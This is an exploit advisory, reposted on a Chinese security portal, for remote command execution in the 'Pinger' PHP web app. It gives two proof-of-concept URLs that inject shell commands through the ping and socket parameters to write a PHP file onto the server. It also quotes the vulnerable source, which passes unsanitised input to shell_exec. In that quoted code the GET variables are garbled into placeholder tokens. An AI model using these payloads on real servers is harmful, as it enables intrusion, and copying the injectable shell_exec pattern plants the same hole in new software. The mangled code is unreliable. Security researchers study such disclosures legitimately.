首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Pinger Remote Code Execution
来源:hehsan979@gmail.com 作者:Hosseini 发布时间:2015-12-21  
================================================================================
Pinger - Simple Pinging Webapp Remote Code Execution
================================================================================
# Vendor Homepage: https://github.com/wcchandler/pinger
# Date: 17/12/2015
# Software Link: http://ehsansec.ir/apps/pinger-master.zip
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/pinger-rce.txt
================================================================================
# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

	if(isset(
___FCKpd___0
GET['ping'])){ // if this is ever noticably slower, i'll pass it stuff when called // change the good.xml to config.xml, good is what I use at $WORK $xml = simplexml_load_file("config.xml"); //$xml = simplexml_load_file("good.xml"); if(
___FCKpd___0
GET['ping'] == ""){ $host = "127.0.0.1"; }else{ $host =
___FCKpd___0
GET['ping']; } $out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout .' '.$host.' | grep received | awk \'{print $4}\'')); $id = str_replace('.','_',$host); if(($out == "1") || ($out == "0")){ echo json_encode(array("id"=>"h$id","res"=>"$out")); }else{ ## if it returns nothing, assume network is messed up echo json_encode(array("id"=>"h$id","res"=>"0")); } } if(isset(
___FCKpd___0
GET['socket'])){ $xml = simplexml_load_file("config.xml"); //$xml = simplexml_load_file("good.xml"); if(
___FCKpd___0
GET['socket'] == ""){ $host = "127.0.0.1 80"; }else{ $host = str_replace(':',' ',
___FCKpd___0
GET['socket']); } $out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1'); $id = str_replace('.','_',$host); $id = str_replace(' ','_',$id); if(preg_match("/succeeded/",$out)){ echo json_encode(array("id"=>"h$id","res"=>"1")); }else{ ## if it returns nothing, assume network is messed up echo json_encode(array("id"=>"h$id","res"=>"0")); } } ?> ================================================================================ # Discovered By : Ehsan Hosseini ================================================================================

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·IBM Tivoli Storage Manager Fas
·Easy File Sharing FTP Server 3
·IBM Tivoli Storage Manager Fas
·Apache 2.4.17 - Denial of Serv
·IBM Tivoli Storage Manager Fas
·Notepad++ NPPFtp Plugin 0.26.3
·Joomla 1.5 - 3.4.5 - Object In
·Ovidentia Widgets 1.0.61 - Rem
·ManageEngine Desktop Central 9
·EasyCafe Server 2.2.14 Remote
·Jenkins CLI RMI Java Deseriali
·FTPShell Client 5.24 - Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved